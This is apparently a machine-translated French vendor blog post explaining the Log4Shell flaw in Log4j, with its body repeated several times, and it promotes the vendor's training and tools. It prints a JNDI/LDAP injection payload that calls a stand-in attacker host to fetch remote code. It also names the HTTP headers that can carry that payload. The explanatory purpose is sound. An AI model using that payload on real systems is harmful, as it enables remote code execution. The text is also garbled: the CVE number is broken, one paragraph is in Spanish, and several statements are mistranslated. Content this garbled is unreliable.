Explication de la vulnérabilité Log4j : son vecteur d'attaque et comment la prévenir
Le 9 décembre, une faille de sécurité de type « zero-day » a été découverte dans la bibliothèque Java Log4j. CVE-44228, également appelée Log4Shell, a été classée comme « très grave », car cette faille peut entraîner l'exécution de code à distance (RAZA). De plus, log4j-core est l'une des bibliothèques de journalisation Java les plus utilisées, ce qui expose des millions d'applications à des risques.
Souhaitez-vous améliorer rapidement vos compétences pour aborder Log4Shell ?
Nous avons créé une vitrine qui vous présente l'idée de base de Log4Shell et vous permet de découvrir comment cette vulnérabilité est exploitée dans un simulateur appelé Mission. Dans cette mission, nous vous montrerons comment la vulnérabilité de Log4j peut affecter votre infrastructure et vos applications. Veuillez cliquer ici pour accéder directement à la vitrine, ou continuer votre lecture pour obtenir plus d'informations détaillées sur la vulnérabilité.
Anciennes actualités ?
L'exploit n'est pas nouveau. Lors de leur présentation à BlackHat en 2016, les chercheurs en sécurité Álvaro Muñoz et Oleksandr Mirosh ont souligné que «les applications ne doivent pas effectuer de recherches JNDI avec des données non fiables »et ont illustré comment une injection JNDI/LDAP spécifique pouvait entraîner l'exécution de code à distance. C'est précisément ce qui constitue l'essence même de Log4Shell.
Vecteur d'attaque
La charge utile d'injection de Log4Shell se présente comme suit :
$ {jndi:ldap: //attacker.host/xyz}
Para entender esto necesitamos conocer el lenguaje de expresión (EL) de Java. Expresiones escritas en la siguiente sintaxis: $ {expr} se evaluará en tiempo de ejecución. Por ejemplo, $ {java:version} devolverá la versión de Java que se está utilizando.
Ensuite, il y a JNDI, ou Java Names and Directory Interface, qui est une API permettant de se connecter à des services via des protocoles tels que LDAP, DNS, RMI, etc. afin de récupérer des données ou des ressources. En résumé, dans l'exemple précédent concernant les charges malveillantes, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Sa réponse pourrait, par exemple, pointer vers un fichier de classe Java contenant du code malveillant, qui sera ensuite exécuté sur le serveur vulnérable.
Ce qui rend cette vulnérabilité si problématique, c'est que Log4j évalue toutes les entrées de journalisation et effectuera des recherches sur toutes les entrées des utilisateurs enregistrés écrites dans la syntaxe EL avec le préfixe « jndi ». La charge utile peut être insérée à n'importe quel endroit où les utilisateurs peuvent saisir des données, comme les champs de formulaire. De plus, les en-têtes HTTP, tels que User-Agent et X-Forwarded-For, ainsi que d'autres en-têtes, peuvent être personnalisés pour transporter la charge utile.
Pour tester vous-même l'exploit, veuillez vous rendre sur notre présentation et passer à l'étape 2 : « Impact de l'expérience ».
Prévention : Sensibilisation
La mise à jour est recommandée pour toutes les applications, car Log4j a corrigé le code vulnérable. Cependant, les versions 2.15.0 et 2.16.0 contenaient une attaque DDoS et d'autres vulnérabilités, ce qui signifie qu'à la fin du mois de décembre, il est conseillé de passer à la version 2.17.0.
En tant que développeurs qui écrivent du code, nous devons toujours garder à l'esprit la sécurité. Log4Shell nous a démontré que l'utilisation de frameworks ou de bibliothèques tiers comporte des risques. Nous devons être conscients du fait que la sécurité de notre application peut être compromise si nous utilisons des sources externes que nous supposons naïvement sûres.
Cette vulnérabilité aurait-elle pu être évitée ? Oui et non. D'une part, les développeurs ne peuvent pas faire grand-chose si les composants vulnérables sont introduits par des logiciels tiers. D'autre part, la leçon à tirer de cette expérience est une leçon qui a été répétée à maintes reprises, à savoir qu'il ne faut jamais se fier aux avis des utilisateurs.
Secure Code Warrior que les développeurs soucieux de la sécurité constituent le meilleur moyen d'éviter les vulnérabilités dans le code. SCW proposant une formation évolutive et spécifique au cadre de programmation, les entreprises clientes ont pu rapidement identifier les développeurs Java concernés à l'aide des données contenues dans les rapports. Elles ont également fait appel à leurs experts en sécurité formés par SCW pour accélérer la mise à jour de Log4j.
Pour les développeurs Java en particulier, Secure Code Warrior Sensei, un complément IntelliJ gratuit. Cet outil d'analyse de code basé sur des règles peut être utilisé pour faire respecter les directives de codage et prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser nos livres de recettes prêts à l'emploi. Veuillez consulter nos recettes et n'oubliez pas de télécharger notre livre de recettes Log4j, qui vous aidera à localiser et à corriger la vulnérabilité Log4Shell en un rien de temps.
Améliorez vos compétences en vous protégeant contre Log4Shell.
Souhaitez-vous mettre en pratique ce que vous avez appris dans cet article de blog ? Notre vitrine peut vous aider. Au début de la présentation, nous ferons un rapide tour d'horizon de cette vulnérabilité, puis nous accéderons à un environnement simulé dans lequel vous pourrez tester l'exploit en suivant des instructions guidées.
En décembre 2021, une faille de sécurité critique, Log4Shell, a été découverte dans la bibliothèque Java Log4j. Dans cet article, nous expliquons la faille Log4Shell de la manière la plus simple possible afin que vous en compreniez les bases et vous proposons une mission : un terrain de jeu sur lequel vous pouvez tenter d'exploiter un site web simulé en utilisant vos connaissances sur cette faille.
Secure Code Warrior là pour aider votre organisation à protéger le code tout au long du cycle de vie du développement logiciel et à créer une culture où la cybersécurité est une priorité. Que vous soyez administrateur AppSec, développeur, CISO ou toute autre personne impliquée dans la sécurité, nous pouvons aider votre organisation à réduire les risques associés à un code non sécurisé.
Veuillez réserver une démonstration.
Laura Verheyde est développeuse de logiciels à l'adresse Secure Code Warrior . Elle se consacre à la recherche de vulnérabilités et à la création de contenu pour Missions et Coding labs.
Le 9 décembre, une faille de sécurité de type « zero-day » a été découverte dans la bibliothèque Java Log4j. CVE-44228, également appelée Log4Shell, a été classée comme « très grave », car cette faille peut entraîner l'exécution de code à distance (RAZA). De plus, log4j-core est l'une des bibliothèques de journalisation Java les plus utilisées, ce qui expose des millions d'applications à des risques.
Souhaitez-vous améliorer rapidement vos compétences pour aborder Log4Shell ?
Nous avons créé une vitrine qui vous présente l'idée de base de Log4Shell et vous permet de découvrir comment cette vulnérabilité est exploitée dans un simulateur appelé Mission. Dans cette mission, nous vous montrerons comment la vulnérabilité de Log4j peut affecter votre infrastructure et vos applications. Veuillez cliquer ici pour accéder directement à la vitrine, ou continuer votre lecture pour obtenir plus d'informations détaillées sur la vulnérabilité.
Anciennes actualités ?
L'exploit n'est pas nouveau. Lors de leur présentation à BlackHat en 2016, les chercheurs en sécurité Álvaro Muñoz et Oleksandr Mirosh ont souligné que «les applications ne doivent pas effectuer de recherches JNDI avec des données non fiables »et ont illustré comment une injection JNDI/LDAP spécifique pouvait entraîner l'exécution de code à distance. C'est précisément ce qui constitue l'essence même de Log4Shell.
Vecteur d'attaque
La charge utile d'injection de Log4Shell se présente comme suit :
$ {jndi:ldap: //attacker.host/xyz}
Para entender esto necesitamos conocer el lenguaje de expresión (EL) de Java. Expresiones escritas en la siguiente sintaxis: $ {expr} se evaluará en tiempo de ejecución. Por ejemplo, $ {java:version} devolverá la versión de Java que se está utilizando.
Ensuite, il y a JNDI, ou Java Names and Directory Interface, qui est une API permettant de se connecter à des services via des protocoles tels que LDAP, DNS, RMI, etc. afin de récupérer des données ou des ressources. En résumé, dans l'exemple précédent concernant les charges malveillantes, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Sa réponse pourrait, par exemple, pointer vers un fichier de classe Java contenant du code malveillant, qui sera ensuite exécuté sur le serveur vulnérable.
Ce qui rend cette vulnérabilité si problématique, c'est que Log4j évalue toutes les entrées de journalisation et effectuera des recherches sur toutes les entrées des utilisateurs enregistrés écrites dans la syntaxe EL avec le préfixe « jndi ». La charge utile peut être insérée à n'importe quel endroit où les utilisateurs peuvent saisir des données, comme les champs de formulaire. De plus, les en-têtes HTTP, tels que User-Agent et X-Forwarded-For, ainsi que d'autres en-têtes, peuvent être personnalisés pour transporter la charge utile.
Pour tester vous-même l'exploit, veuillez vous rendre sur notre présentation et passer à l'étape 2 : « Impact de l'expérience ».
Prévention : Sensibilisation
La mise à jour est recommandée pour toutes les applications, car Log4j a corrigé le code vulnérable. Cependant, les versions 2.15.0 et 2.16.0 contenaient une attaque DDoS et d'autres vulnérabilités, ce qui signifie qu'à la fin du mois de décembre, il est conseillé de passer à la version 2.17.0.
En tant que développeurs qui écrivent du code, nous devons toujours garder à l'esprit la sécurité. Log4Shell nous a démontré que l'utilisation de frameworks ou de bibliothèques tiers comporte des risques. Nous devons être conscients du fait que la sécurité de notre application peut être compromise si nous utilisons des sources externes que nous supposons naïvement sûres.
Cette vulnérabilité aurait-elle pu être évitée ? Oui et non. D'une part, les développeurs ne peuvent pas faire grand-chose si les composants vulnérables sont introduits par des logiciels tiers. D'autre part, la leçon à tirer de cette expérience est une leçon qui a été répétée à maintes reprises, à savoir qu'il ne faut jamais se fier aux avis des utilisateurs.
Secure Code Warrior que les développeurs soucieux de la sécurité constituent le meilleur moyen d'éviter les vulnérabilités dans le code. SCW proposant une formation évolutive et spécifique au cadre de programmation, les entreprises clientes ont pu rapidement identifier les développeurs Java concernés à l'aide des données contenues dans les rapports. Elles ont également fait appel à leurs experts en sécurité formés par SCW pour accélérer la mise à jour de Log4j.
Pour les développeurs Java en particulier, Secure Code Warrior Sensei, un complément IntelliJ gratuit. Cet outil d'analyse de code basé sur des règles peut être utilisé pour faire respecter les directives de codage et prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser nos livres de recettes prêts à l'emploi. Veuillez consulter nos recettes et n'oubliez pas de télécharger notre livre de recettes Log4j, qui vous aidera à localiser et à corriger la vulnérabilité Log4Shell en un rien de temps.
Améliorez vos compétences en vous protégeant contre Log4Shell.
Souhaitez-vous mettre en pratique ce que vous avez appris dans cet article de blog ? Notre vitrine peut vous aider. Au début de la présentation, nous ferons un rapide tour d'horizon de cette vulnérabilité, puis nous accéderons à un environnement simulé dans lequel vous pourrez tester l'exploit en suivant des instructions guidées.
Le 9 décembre, une faille de sécurité de type « zero-day » a été découverte dans la bibliothèque Java Log4j. CVE-44228, également appelée Log4Shell, a été classée comme « très grave », car cette faille peut entraîner l'exécution de code à distance (RAZA). De plus, log4j-core est l'une des bibliothèques de journalisation Java les plus utilisées, ce qui expose des millions d'applications à des risques.
Souhaitez-vous améliorer rapidement vos compétences pour aborder Log4Shell ?
Nous avons créé une vitrine qui vous présente l'idée de base de Log4Shell et vous permet de découvrir comment cette vulnérabilité est exploitée dans un simulateur appelé Mission. Dans cette mission, nous vous montrerons comment la vulnérabilité de Log4j peut affecter votre infrastructure et vos applications. Veuillez cliquer ici pour accéder directement à la vitrine, ou continuer votre lecture pour obtenir plus d'informations détaillées sur la vulnérabilité.
Anciennes actualités ?
L'exploit n'est pas nouveau. Lors de leur présentation à BlackHat en 2016, les chercheurs en sécurité Álvaro Muñoz et Oleksandr Mirosh ont souligné que «les applications ne doivent pas effectuer de recherches JNDI avec des données non fiables »et ont illustré comment une injection JNDI/LDAP spécifique pouvait entraîner l'exécution de code à distance. C'est précisément ce qui constitue l'essence même de Log4Shell.
Vecteur d'attaque
La charge utile d'injection de Log4Shell se présente comme suit :
$ {jndi:ldap: //attacker.host/xyz}
Para entender esto necesitamos conocer el lenguaje de expresión (EL) de Java. Expresiones escritas en la siguiente sintaxis: $ {expr} se evaluará en tiempo de ejecución. Por ejemplo, $ {java:version} devolverá la versión de Java que se está utilizando.
Ensuite, il y a JNDI, ou Java Names and Directory Interface, qui est une API permettant de se connecter à des services via des protocoles tels que LDAP, DNS, RMI, etc. afin de récupérer des données ou des ressources. En résumé, dans l'exemple précédent concernant les charges malveillantes, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Sa réponse pourrait, par exemple, pointer vers un fichier de classe Java contenant du code malveillant, qui sera ensuite exécuté sur le serveur vulnérable.
Ce qui rend cette vulnérabilité si problématique, c'est que Log4j évalue toutes les entrées de journalisation et effectuera des recherches sur toutes les entrées des utilisateurs enregistrés écrites dans la syntaxe EL avec le préfixe « jndi ». La charge utile peut être insérée à n'importe quel endroit où les utilisateurs peuvent saisir des données, comme les champs de formulaire. De plus, les en-têtes HTTP, tels que User-Agent et X-Forwarded-For, ainsi que d'autres en-têtes, peuvent être personnalisés pour transporter la charge utile.
Pour tester vous-même l'exploit, veuillez vous rendre sur notre présentation et passer à l'étape 2 : « Impact de l'expérience ».
Prévention : Sensibilisation
La mise à jour est recommandée pour toutes les applications, car Log4j a corrigé le code vulnérable. Cependant, les versions 2.15.0 et 2.16.0 contenaient une attaque DDoS et d'autres vulnérabilités, ce qui signifie qu'à la fin du mois de décembre, il est conseillé de passer à la version 2.17.0.
En tant que développeurs qui écrivent du code, nous devons toujours garder à l'esprit la sécurité. Log4Shell nous a démontré que l'utilisation de frameworks ou de bibliothèques tiers comporte des risques. Nous devons être conscients du fait que la sécurité de notre application peut être compromise si nous utilisons des sources externes que nous supposons naïvement sûres.
Cette vulnérabilité aurait-elle pu être évitée ? Oui et non. D'une part, les développeurs ne peuvent pas faire grand-chose si les composants vulnérables sont introduits par des logiciels tiers. D'autre part, la leçon à tirer de cette expérience est une leçon qui a été répétée à maintes reprises, à savoir qu'il ne faut jamais se fier aux avis des utilisateurs.
Secure Code Warrior que les développeurs soucieux de la sécurité constituent le meilleur moyen d'éviter les vulnérabilités dans le code. SCW proposant une formation évolutive et spécifique au cadre de programmation, les entreprises clientes ont pu rapidement identifier les développeurs Java concernés à l'aide des données contenues dans les rapports. Elles ont également fait appel à leurs experts en sécurité formés par SCW pour accélérer la mise à jour de Log4j.
Pour les développeurs Java en particulier, Secure Code Warrior Sensei, un complément IntelliJ gratuit. Cet outil d'analyse de code basé sur des règles peut être utilisé pour faire respecter les directives de codage et prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser nos livres de recettes prêts à l'emploi. Veuillez consulter nos recettes et n'oubliez pas de télécharger notre livre de recettes Log4j, qui vous aidera à localiser et à corriger la vulnérabilité Log4Shell en un rien de temps.
Améliorez vos compétences en vous protégeant contre Log4Shell.
Souhaitez-vous mettre en pratique ce que vous avez appris dans cet article de blog ? Notre vitrine peut vous aider. Au début de la présentation, nous ferons un rapide tour d'horizon de cette vulnérabilité, puis nous accéderons à un environnement simulé dans lequel vous pourrez tester l'exploit en suivant des instructions guidées.
Veuillez cliquer sur le lien ci-dessous et télécharger le PDF de cette ressource.
Secure Code Warrior là pour aider votre organisation à protéger le code tout au long du cycle de vie du développement logiciel et à créer une culture où la cybersécurité est une priorité. Que vous soyez administrateur AppSec, développeur, CISO ou toute autre personne impliquée dans la sécurité, nous pouvons aider votre organisation à réduire les risques associés à un code non sécurisé.
Veuillez consulter le rapportVeuillez réserver une démonstration.
Laura Verheyde est développeuse de logiciels à l'adresse Secure Code Warrior . Elle se consacre à la recherche de vulnérabilités et à la création de contenu pour Missions et Coding labs.
Le 9 décembre, une faille de sécurité de type « zero-day » a été découverte dans la bibliothèque Java Log4j. CVE-44228, également appelée Log4Shell, a été classée comme « très grave », car cette faille peut entraîner l'exécution de code à distance (RAZA). De plus, log4j-core est l'une des bibliothèques de journalisation Java les plus utilisées, ce qui expose des millions d'applications à des risques.
Souhaitez-vous améliorer rapidement vos compétences pour aborder Log4Shell ?
Nous avons créé une vitrine qui vous présente l'idée de base de Log4Shell et vous permet de découvrir comment cette vulnérabilité est exploitée dans un simulateur appelé Mission. Dans cette mission, nous vous montrerons comment la vulnérabilité de Log4j peut affecter votre infrastructure et vos applications. Veuillez cliquer ici pour accéder directement à la vitrine, ou continuer votre lecture pour obtenir plus d'informations détaillées sur la vulnérabilité.
Anciennes actualités ?
L'exploit n'est pas nouveau. Lors de leur présentation à BlackHat en 2016, les chercheurs en sécurité Álvaro Muñoz et Oleksandr Mirosh ont souligné que «les applications ne doivent pas effectuer de recherches JNDI avec des données non fiables »et ont illustré comment une injection JNDI/LDAP spécifique pouvait entraîner l'exécution de code à distance. C'est précisément ce qui constitue l'essence même de Log4Shell.
Vecteur d'attaque
La charge utile d'injection de Log4Shell se présente comme suit :
$ {jndi:ldap: //attacker.host/xyz}
Para entender esto necesitamos conocer el lenguaje de expresión (EL) de Java. Expresiones escritas en la siguiente sintaxis: $ {expr} se evaluará en tiempo de ejecución. Por ejemplo, $ {java:version} devolverá la versión de Java que se está utilizando.
Ensuite, il y a JNDI, ou Java Names and Directory Interface, qui est une API permettant de se connecter à des services via des protocoles tels que LDAP, DNS, RMI, etc. afin de récupérer des données ou des ressources. En résumé, dans l'exemple précédent concernant les charges malveillantes, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Sa réponse pourrait, par exemple, pointer vers un fichier de classe Java contenant du code malveillant, qui sera ensuite exécuté sur le serveur vulnérable.
Ce qui rend cette vulnérabilité si problématique, c'est que Log4j évalue toutes les entrées de journalisation et effectuera des recherches sur toutes les entrées des utilisateurs enregistrés écrites dans la syntaxe EL avec le préfixe « jndi ». La charge utile peut être insérée à n'importe quel endroit où les utilisateurs peuvent saisir des données, comme les champs de formulaire. De plus, les en-têtes HTTP, tels que User-Agent et X-Forwarded-For, ainsi que d'autres en-têtes, peuvent être personnalisés pour transporter la charge utile.
Pour tester vous-même l'exploit, veuillez vous rendre sur notre présentation et passer à l'étape 2 : « Impact de l'expérience ».
Prévention : Sensibilisation
La mise à jour est recommandée pour toutes les applications, car Log4j a corrigé le code vulnérable. Cependant, les versions 2.15.0 et 2.16.0 contenaient une attaque DDoS et d'autres vulnérabilités, ce qui signifie qu'à la fin du mois de décembre, il est conseillé de passer à la version 2.17.0.
En tant que développeurs qui écrivent du code, nous devons toujours garder à l'esprit la sécurité. Log4Shell nous a démontré que l'utilisation de frameworks ou de bibliothèques tiers comporte des risques. Nous devons être conscients du fait que la sécurité de notre application peut être compromise si nous utilisons des sources externes que nous supposons naïvement sûres.
Cette vulnérabilité aurait-elle pu être évitée ? Oui et non. D'une part, les développeurs ne peuvent pas faire grand-chose si les composants vulnérables sont introduits par des logiciels tiers. D'autre part, la leçon à tirer de cette expérience est une leçon qui a été répétée à maintes reprises, à savoir qu'il ne faut jamais se fier aux avis des utilisateurs.
Secure Code Warrior que les développeurs soucieux de la sécurité constituent le meilleur moyen d'éviter les vulnérabilités dans le code. SCW proposant une formation évolutive et spécifique au cadre de programmation, les entreprises clientes ont pu rapidement identifier les développeurs Java concernés à l'aide des données contenues dans les rapports. Elles ont également fait appel à leurs experts en sécurité formés par SCW pour accélérer la mise à jour de Log4j.
Pour les développeurs Java en particulier, Secure Code Warrior Sensei, un complément IntelliJ gratuit. Cet outil d'analyse de code basé sur des règles peut être utilisé pour faire respecter les directives de codage et prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser nos livres de recettes prêts à l'emploi. Veuillez consulter nos recettes et n'oubliez pas de télécharger notre livre de recettes Log4j, qui vous aidera à localiser et à corriger la vulnérabilité Log4Shell en un rien de temps.
Améliorez vos compétences en vous protégeant contre Log4Shell.
Souhaitez-vous mettre en pratique ce que vous avez appris dans cet article de blog ? Notre vitrine peut vous aider. Au début de la présentation, nous ferons un rapide tour d'horizon de cette vulnérabilité, puis nous accéderons à un environnement simulé dans lequel vous pourrez tester l'exploit en suivant des instructions guidées.
Table des matières
Secure Code Warrior là pour aider votre organisation à protéger le code tout au long du cycle de vie du développement logiciel et à créer une culture où la cybersécurité est une priorité. Que vous soyez administrateur AppSec, développeur, CISO ou toute autre personne impliquée dans la sécurité, nous pouvons aider votre organisation à réduire les risques associés à un code non sécurisé.
Veuillez réserver une démonstration.TéléchargerRessources pour débuter
Thèmes et contenu de la formation sur le code sécurisé
Notre contenu de pointe évolue constamment afin de s'adapter au paysage changeant du développement logiciel, en tenant compte de votre rôle. Nous proposons des thèmes allant de l'IA à l'injection XQuery pour différents postes, des architectes et ingénieurs aux chefs de produit et responsables de l'assurance qualité. Découvrez un aperçu de ce que notre catalogue de contenu a à offrir par thème et par fonction.
La Chambre de commerce établit la norme en matière de sécurité à grande échelle axée sur les développeurs
La Chambre de commerce néerlandaise explique comment elle a intégré le codage sécurisé dans le développement quotidien grâce à des certifications basées sur les rôles, à l'évaluation comparative du Trust Score et à une culture de responsabilité partagée en matière de sécurité.
%20(1).avif)
.avif)
Modélisation des menaces avec l'IA : transformer chaque développeur en modélisateur de menaces
Vous repartirez mieux équipé pour aider les développeurs à combiner les idées et les techniques de modélisation des menaces avec les outils d'IA qu'ils utilisent déjà pour renforcer la sécurité, améliorer la collaboration et créer des logiciels plus résilients dès le départ.
Ressources pour débuter
Cybermon est de retour : les missions IA de Beat the Boss sont désormais disponibles à la demande.
Cybermon 2025 Beat the Boss est désormais disponible toute l'année chez SCW. Mettez en œuvre des défis de sécurité avancés basés sur l'IA et le LLM afin de renforcer le développement sécurisé de l'IA à grande échelle.
Explication de la loi sur la cyber-résilience : implications pour le développement de logiciels sécurisés dès leur conception
Découvrez les exigences de la loi européenne sur la cyber-résilience (CRA), à qui elle s'applique et comment les équipes d'ingénierie peuvent se préparer grâce à des pratiques de conception sécurisées, à la prévention des vulnérabilités et au développement des compétences des développeurs.
Facilitateur 1 : Critères de réussite définis et mesurables
Le catalyseur n° 1 inaugure notre série en 10 parties intitulée « Les catalyseurs de la réussite », qui montre comment relier la codification sécurisée aux résultats commerciaux, tels que la réduction des risques et la rapidité d'atteinte de la maturité du programme à long terme.
